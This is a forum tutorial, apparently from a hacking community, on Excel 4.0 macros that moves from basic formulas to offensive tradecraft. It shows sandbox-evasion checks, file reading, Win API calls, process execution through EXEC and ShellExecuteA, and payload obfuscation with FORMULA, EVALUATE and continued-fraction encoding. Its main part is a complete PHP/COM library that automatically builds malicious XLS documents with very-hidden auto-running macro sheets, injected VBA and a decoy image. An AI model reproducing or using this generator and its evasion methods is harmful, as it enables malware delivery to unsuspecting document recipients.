Excel | Primi passi

In the name of Allah, the most beneficent, the most merciful.


Introduction

“I believe in the existence within myself of a power.
From this belief derives my will to exert it.”

I’ve always considered practice a golden key to further comprehend a given subject.
Experimentation expands theory and stimulates creativity, as there is virtually no limit to what could be learnt or done.

Excel - Basics

In Excel, the initial file on which the user operates is called a Workbook that initially is composed of three Worksheets as seen below:

Each single sheet consists of alphabetic columns and numeric rows, with the selected cell name indicated in an Edit control above (e.g.: B2):


The user has the possibility to automate calculations in a Worksheet by using Formulas. Once defined they can easily applied to other adjacent cells as well:

Furthermore, multiple functions are provided for logical operations such as an IF case:


This translates to:

=IF(OR(A1<A2; FALSE); 1; 0)

Macros

Macros are declarations of one to several procedures, which either have a return-value, in which case they are considered a Function or in case they do not have one they are labeled as a Sub.
Excel also comes with a Visual Basic Editor that is efficient for real-time creation and testing of Macros.
By default it can be invoked using the Hotkey ALT+F11 and looks like this:


In case of us adding macros the file extensions will have to be either XLS or XLSM to support these macros:



Similarly a new icon already displays mistrust towards XLSM files du to macros being able to cause harm without a user actively knowing…
Additionally, when these file with macros are opened, a security warning is displayed to raise awareness of potential risks, and asks if the user consents to enable the macros.



This certainly should not be done unless our document have been thoroughly analysed.

Macros - XL4 Edition

XL4 are considered legacy macros that are still supported in newer Excel versions.
Their powerful nature allows them to perform multiple actions.
They can be executed either by:

  • using VBA’s ExecuteExcel4Macro, or
  • inserting a seperate Excel 4.0 module.

Running and debugging an Excel 4.0 macro:

In case we have inserted a macro in our Excel sheet like seen below we can execute and debug it a follows.

  1. First we select execute from the context menu
  2. Then we select which cell (==name) to execute
  3. Finally we have to confirm out choices and are good to go!

    In our case a simple message will be displayed when upon completion:

Macros - Demonstrating advanced funcionality

  • Identifying the current runtime environment:
    For this test we need a mix of SET.NAME, GET.WORKSPACE and and IF condition.
    The function GET.WORKSPACE requires a Type_num integer, which specifies the information to be retrieved.

    SET.NAME assigns its return-value to a variable called ENV, It is then instructed using the IF to QUIT if it cannot not FIND (case-sensitive) Windows in ENV.
    Additionally, functions like SEARCH, or GOTO to redirect execution to a specific cell can be used aswell.
    This full macro looks like this:

     =SET.NAME("ENV", GET.WORKSPACE(1))
    =IF(FIND("Windows", ENV), ALERT(ENV), QUIT())
    =HALT()
    


  • Reading one or multiple files:
    Even from within Excel we can access files on disks. In this setup we have a folder and two files as follows:


    We can traverse directories with the DIRECTORY function before obtaining a directorys file list with FILES, which returns an array.
    In our case this is: {"111.", "222."}.
    We can access files with FOPEN, which takes an index from a file list array and a mode:

    We can continue to read the contents with FREADLN until EOF is hit.
    For some entertainment we can utilize the BEEP call, which simply emits a sound :smile:.

    =BEEP()
    =DIRECTORY("C:\000\")
    =SET.NAME("FLIST", FILES())
    =FOR("IDX", 1, COLUMNS(FLIST))
    =SET.NAME("FNUM", FOPEN(INDEX(FLIST, IDX), 2))
    =WHILE(NOT(FPOS(FNUM) > FSIZE(FNUM)))
    =ALERT("L~: " & FREADLN(FNUM))
    =NEXT()
    =FCLOSE(FNUM)
    =NEXT()
    =HALT()
    


  • Calling external functions:
    We can also invoke external functionality from the Win API, because why not!
    For example we can REGISTER the function user32!SwapMouseButton with “AA” as its type_value.
    It reverses or restores the role of the left and right mouse buttons:

    ||
    We have to use a CALL to invoke the cell which was used to REGISTER the function.
    GET.WORKSPACE with argument 44 is able to extract the location of the loaded DLL.

    Putting that all together with the knowledge from the prior examples leaves us with the following macro code:

    =REGISTER("user32", "SwapMouseButton", "AA")
    =ALERT("Library at " & GET.WORKSPACE(44), 3)
    =CALL(A1, TRUE)
    =UNREGISTER(A1)
    =HALT()
    

    When finished it yields:

    And mouse buttons have been indeed swapped!


  • Executing binaries on the FS:
    So far this was all just for fun and some file system enumeration but binaries can be executed from within excel as well.
    For example we can spawn the calculator by calling EXEC with one of the following arguments:
    =EXEC("CALC", 1)
    =HALT()
    
    Alternatively, we can also simulate key presses by using KEYS.SEND.
    However, it’ll be slower, since there has to be a small timeout delay of abour 2~4 seconds for some reason before the process can run:
    =EXEC("CMD", 2)
    =WAIT(NOW() + "00:00:02")
    =SEND.KEYS("CALC~", TRUE)
    =HALT()
    
    As a second example I’ll show that a call to ShellExecuteA is also feasible…

    We define the following arguments:
    • hwnd = -1(J(Int)),
    • lpFile = “CALC”(C(Char *))
    • nShowCmd = 5(H(UInt16_t))
    • remaining is to be ignored with 0(J(Int)).*
    =CALL("shell32", "ShellExecuteA", "JJJCJJH", -1, 0, "CALC", 0, 0, 5)
    =HALT()
    
    Again, an alternative to that can be using INITIATE that prepares a DDE channel with an arbitrary application, except this method warns the user!
    =INITIATE("CALC", 0)
    



  • Obsfucation:
    A cell’s FORMULA can be overwritten, consequently, the payload can be concealed.
    If A1 pre-execution contains:

    =FORMULA("=EXEC(""CALC"")", A2)
    

    On execution, A2 will be populated with the result, and executed right after.

    =EXEC("CALC")
    

    Another technique is using EVALUATE:

    =ALERT(EVALUATE(CHAR(61) & CHAR(70) & CHAR(105) & CHAR(108) & CHAR(101) & CHAR(115) & CHAR(40) & CHAR(41)))
    

    Once we execute this we get the following:

    To fine tune this obfuscation technique we can use @Emparetiw_Aparajdm’s method for Continued Fraction Data Encoding!
    His suggestion is to concatenate ASCII codes in order to form a nominator.
    The key denominator is to be randomly generated.
    The decimal codes need to be padded(3) to ensure information sufficiency:

    Here the x being the result of the devision u/v.
    For example by using this method the string “=EX” can be encoded as 061069088.
    The following PHP script implements this exact behavior:

    <?php
    $u = 61069088;
    $v = 41758269584;
    $e = [];
    
    while(($r = $u % $v) != 0)
    {
    	$a = intval($u / $v);
    	$u = $v;
    	$v = $r;
    	array_push($e, $a);
    }
    
    var_dump($e);
    ?>
    

    The script yields the following result:

    That chain of a0, a1, a2, .., a17 can be used to reverse the process, multiplied by v will yield u.
    The obtained array is to be reversed(array_reverse) and stored in an Excel row.
    In another row, the denominator(aka key) will be stored.

    Reversing it is easily done with the following macro:

    =SET.NAME("P", 0)
    =FOR.CELL("N", A1:A18, FALSE)
    =SET.NAME("P", (P + N) ^ -1)
    =NEXT()
    =SET.VALUE(B2, TEXT(CEILING((P ^ -1) * B1, 1), REPT(CHAR(48), 3*3)))
    =ALERT(B2)
    =FOR("H", 0, 2)
    =SET.VALUE(B3, B3 & CHAR(MID(B2, H*3 + 1, 3)))
    =NEXT()
    =ALERT(B3)
    =HALT()
    

    Excel 4.0 Functions

Automatic malicious-document generation

“For the seeker of truth nothing takes precedence over the truth,
and there is no disparagement of the truth,
nor belittling either of him who speaks it or of him who conveys it.”

My local test environment had XAMPP already installed, a slight modification of its php.ini allows us to use COM extensions:

Additionally, us allowing VBProject modification programmatically is also required.

Now, pretty much everything can be done with the Excel object model
From spawning EXCEL.EXE to creating an entire document that fits our needs!
I’ll be using OleView .NET to explore registered COM objects.
It makes our life a lot easier!
We can start by doing:
||
Members of a COM object can be identified by fetching the Typelib.
For that purpose, PHP provides a function called com_print_typeinfo.

We can use it as follows:

$XL = new COM('Excel.Application') or die(0);
com_print_typeinfo($XL);

The result is a whole page of all the Elements of our XL object.
All these properties can be used to tweak the nature of the document that we’re about to create
We’ll start by looking at three important ones of different nature.


The first property allows to get or set the state of the window visibility.
The second is a collection of all open Workbooks.
The third is a method, and it simply terminates the process.
Putting that knowledge to use in our PHP script:

$XL->Visible = TRUE;
$WB = $XL->Workbooks;
com_print_typeinfo($WB);
Sleep(60);
$XL->Quit();

When executed Excel becomes visible in the taskbar, which is essential for debugging.

However we’re just greeted with the following Excel window…
This does not seem quite useful for now.

This beehavior occurs, because initially the Workbooks count is 0, hence the Excel window is empty.

printf("Count: %d", $XL->Workbooks->Count);
$WB = $XL->Workbooks->Add();


To add one, we must use Workbooks.Add(), the returned object is the new Workbook.

The workbook by default holds $XL->SheetsInNewWorkbook(3) worksheets.
This corresponds to the usual Sheet1, Sheet2, Sheet3
The amount of workbooks is stored in an object called Worksheets

The same Excel object reference list also offers the SaveAs function with all meta data fields we can set by hand when using the GUI…:

/* DISPID=1925 */ function SaveAs(
/* VT_VARIANT [12] [in] */ $Filename, /* VT_VARIANT [12] [in] */ $FileFormat,
/* VT_VARIANT [12] [in] */ $Password, /* VT_VARIANT [12] [in] */ $WriteResPassword,
/* VT_VARIANT [12] [in] */ $ReadOnlyRecommended, /* VT_VARIANT [12] [in] */ $CreateBackup,
/* ? [29] [in] */ $AccessMode, /* VT_VARIANT [12] [in] */ $ConflictResolution,
/* VT_VARIANT [12] [in] */ $AddToMru, /* VT_VARIANT [12] [in] */ $TextCodepage,
/* VT_VARIANT [12] [in] */ $TextVisualLayout, /* VT_VARIANT [12] [in] */ $Local ) { }

All the supported file extensions by Excel are stored in an enum called XlFileFormat, which is described in detail over @ MSDN.

Anyhow, back to the worksheets object and its Add() method:

/* DISPID=181 */ /* VT_DISPATCH [9] */ function Add(
/* VT_VARIANT [12] [in] */ $Before, /* VT_VARIANT [12] [in] */ $After,
/* VT_VARIANT [12] [in] */ $Count, /* VT_VARIANT [12] [in] */ $Type) { }


This shows that we can create an XL4 sheet if we pass xlExcel4IntlMacroSheet(4) as the type.
Excel4IntlMacroSheets.Add() method accomplishes the same task, but does not require any arguments:

When putting that knowledge to use in our PHP script as follows:

define('xlExcel4IntlMacroSheet', 4);
$M1 = $WB->Worksheets->Add(NULL, NULL, 1, xlExcel4IntlMacroSheet);
$M2 = $XL->Excel4IntlMacroSheets->Add();

We get validation of our done research in form of:

Two new XL4 macro sheets were successfully created.
Now, due to the new changes Excel refuses to just exit and asks if we’d like to save the file.
We can luckily remove this feature by modifying the boolean value of Application.DisplayAlerts and set it to FALSE:

$XL->DisplayAlerts = FALSE;

Manipulating a worksheet’s content is the next thing for us to do!

com_print_typeinfo($M1);


For example we can tweak the Visible element in three possible ways:
{xlSheetVisible(-1), xlSheetHidden(0), xlSheetVeryHidden(2)}.

define('xlSheetHidden', 0);
define('xlSheetVeryHidden', 2);
$M1->Visible = xlSheetHidden;
$M2->Visible = xlSheetVeryHidden;

||
This results in the two added sheets being hidden.
However, $M1 can still be made visible by a normal user.
Some more interesting cell property elements:

The value of a cell can hold plain text (e.g.: AAABBBC) or a result (e.g.: 8, the SUM of A1;A2) of a formula.

$WS = $WB->Worksheets[1];
Sleep(60);
printf("Formula: %s<br>Value: %s", $WS->Cells[1][1]->Formula, $WS->Cells[1][1]->Value);

Ultimately, cells can be accessed as a 2-dimensional array starting with Index = 1.
We can easily simulate that within our PHP script:

$M2->Cells[3][2]->Select(); // [Column][Row] Indexing

$M2->Cells(3, 2)->Select(); // (Row, Column) Indexing


Next, the ClearContents procedure role (DISPID=113) clears both the value and an underlying formula of a specified cell.

Putting it all together

Putting all that prior theory together we can create a simple PoC with the following snippets below.

Let’s define two payloads 0000 and 0001 in form of .vbs scripts as follows:

# 0000.vbs
=EXEC("calc")
=HALT()
# 0001.vbs
Sub Workbook_Open()
	MsgBox "AAAA"
End Sub

A simple NUExcel.php library that generates documents could look as follows:

<?php
define('xlExcel8', 56);
define('xlExcel4IntlMacroSheet', 4);

define('xlSheetHidden', 0);
define('xlSheetVeryHidden', 2);
define('xlSheetVisible', -1);

define('CDirectory', getcwd());
define('Payloads', glob("payloads/*.vbs", GLOB_NOSORT));

class DirtyDebug
{
	function DisplayElements($Object)
	{
		$Info = com_print_typeinfo($Object);
		print($Object);
	}
}

class NUExcel extends DirtyDebug
{
	private $XL, $WB;
	public  $Name;
	
	function RName()
	{
		$this->Name = sprintf("%s/doc%d.xls", CDirectory, rand(1, 14782));
	}
	
	function CreateInstance($Visible = FALSE)
	{
		$this->XL = new COM('Excel.Application') or die(0);
		$this->WB = $this->XL->Workbooks->Add();
		
		$this->XL->Visible = $Visible;
		$this->XL->DisplayAlerts = FALSE;
		
		return TRUE;
	}
	
	function EndInstance($Save = TRUE)
	{
		if ($Save)
		{
			$this->RName();
			$this->WB->SaveAs($this->Name, xlExcel8);
		}
		
		$this->WB->Close();
		$this->XL->Quit();
	}
	
	function CreateXL4Sheet()
	{
		$WC = $this->WB->Worksheets;
		return $WC->Add(NULL, NULL, 1, xlExcel4IntlMacroSheet);
	}
	
	function XL4MacroVisibility($MSheet, $Code)
	{
		if($MSheet && in_array($Code, array(xlSheetHidden, xlSheetVeryHidden, xlSheetVisible)))
		{
			$MSheet->Visible = $Code;
		}
	}
	
	function GetCell($Sheet, $RNum, $CNum)
	{
		return $Sheet->Cells($RNum, $CNum);
	}
	
	function GetSetCellData($Cell, $Formule = TRUE, $Data = '')
	{
		$Get = TRUE;
		
		if(strlen($Data))
			$Get = FALSE;
		
		if($Formule)
		{
			if($Get)
				return $Cell->Formula;
			
			$Cell->Formula = $Data;
		}
		else
		{
			if($Get)
				return $Cell->Value;
			
			$Cell->Value = $Data;
		}
		
		return;
	}
	
	function PayloadName($Index)
	{
		$Name = NULL;
		
		if($Index >= 0 && $Index < count(Payloads))
		{
			$Name = Payloads[$Index];
		}
		
		return $Name;
	}
	
	function WriteXL4Payload($MSheet, $FNum, $CNum = 1, $RNum = 1)
	{
		$F = $this->PayloadName($FNum);
		if (! $F)
			return;
		
		if(($Handle = fopen($F, 'r')) != FALSE)
		{	
			do
			{
				$this->GetSetCellData($this->GetCell($MSheet, $RNum++, $CNum), TRUE, trim(fgets($Handle)));
			} while(! feof($Handle));
		}	
	}
	
	function ClearXL4Row($MSheet, $CNum = 1, $RNum = 1)
	{
		while(($Cell = $this->GetCell($MSheet, $this->$RNum++, $CNum)) && strlen($this->GetSetCellData($Cell, FALSE)))
		{
			$Cell->ClearContents();
		}
		return TRUE;
	}
	
	function RunMacro($MName)
	{
		return $this->XL->Run($MName);
	}
	
	function SetCellName($Sheet, $CNum, $RNum, $CName)
	{
		$this->GetCell($Sheet, $RNum, $CNum)->Name = $CName;
	}
	
	function GetComponents()
	{
		return $this->WB->VBProject->VBComponents;
	}
	
	function WriteVBAPayload($FNum)
	{
		$F = $this->PayloadName($FNum);
		if (! $F)
			return;
		
		$CM = $this->GetComponents();
		$CN = $this->WB->CodeName;
			
		if(! empty($CN))
		{
			$Module = $CM[$CN]->CodeModule;
			$Module->AddFromFile(realpath($F));
			$Module->AddFromString(chr(32));
		}
	}
	
	function GetWorksheet($Index)
	{
		$WS = $this->WB->Worksheets;
		if($WS->Count >= $Index)
			return $WS[$Index];
		return NULL;
	}
	
	function InsertPicture($Sheet, $File, $Width = -1, $Height = -1)
	{
		if($Sheet)
			$Sheet->Shapes->AddPicture(realpath($File), FALSE, TRUE, 0, 0, $Width, $Height);
	}
}
?>

Our main routine importing our written library results in a rather short script!

<?php
include 'NUExcel.php';

function Main()
{
	$NEntry = new NUExcel;
	$NEntry->CreateInstance(TRUE);
	$MS = $NEntry->CreateXL4Sheet();
	$NEntry->WriteXL4Payload($MS, 0);
	$NEntry->SetCellName($MS, 1, 1, "Auto_Ouvrir"); // Auto_Open
	$NEntry->XL4MacroVisibility($MS, xlSheetVeryHidden);
	$NEntry->WriteVBAPayload(1);
	$NEntry->InsertPicture($NEntry->GetWorksheet(1), "images/image.png");
	$NEntry->EndInstance();
	
	if($NEntry->Name)
	{
		printf("File at: %s", $NEntry->Name);
	}
}

Main();
?>

The result is the following file:

Obviously, it’s totally legit looking! :hugs:


||
We can use the .htaccess file to process a XLSX file as PHP.

AddHandler application/x-httpd-php .xlsx

Final thoughts

There is not much left to be said.
However, an idea will await a passionate individual that’ll make it a reality.
Will it be you?

VBA Pervertor: A generator of random reversible-sequence of arithmetic operations(XOR, ADD, SUB, etc) to encode individual bytes.

Inspirations

“Ma dimmi cosa resta in questa stanza quando la luce si spegne?
Niente.”

Pervert world wide - Z0MBiE/29A
On Polymorphic Evasion - Phantasmal Phantasmagoria
On First Philosophy - Al-Kindi
Marquis de Puységur

Thanks

To my father without whom this article wouldn’t have been possible to write.
To Da, To, Pr, Ad, Ka, Mwo, Mt, Pw, Xl, Zi, Mz (y’all know who you are)
;

To @ricksanchez who made the article a million times better! :heart:
To @pry0cc, @Cry0l1t3 for not hesitating to offer help.
To @jeff for the the encouragement.
To @Leeky, @_py, @dtm, @Danus and all of 0x00sec for being amazing peoples.

End

Limits are there to be broken, expectations to be surpassed, existence to be proved.

I am the nobody.
I am an addict.
I am madness personified.

~ exploit (out)

13 Likes

I love this! Amazing article! I’ll sure use this soon :smiling_imp:

4 Likes

@Danus Stop reading that! It’s not done yet xD. You better re-read it soon :smiley:

4 Likes

Concealing payload inside cells? I loved it :heart: :smile:
The other day I saw something similar in some msword pest I had been analysing. Malicious payload was concealed inside a Textbox (not visible to user). Then its contents were fetched and executed by a Macro. If you didn’t pay attention you could misidentify the macro code as benign. It was very simple yet a clever trick imo.

2 Likes

Thank you for this tutorial. I love the screen captures you made. Even I can understand it :grin:. Is it a virtual machine?

1 Like

This topic was automatically closed after 121 days. New replies are no longer allowed.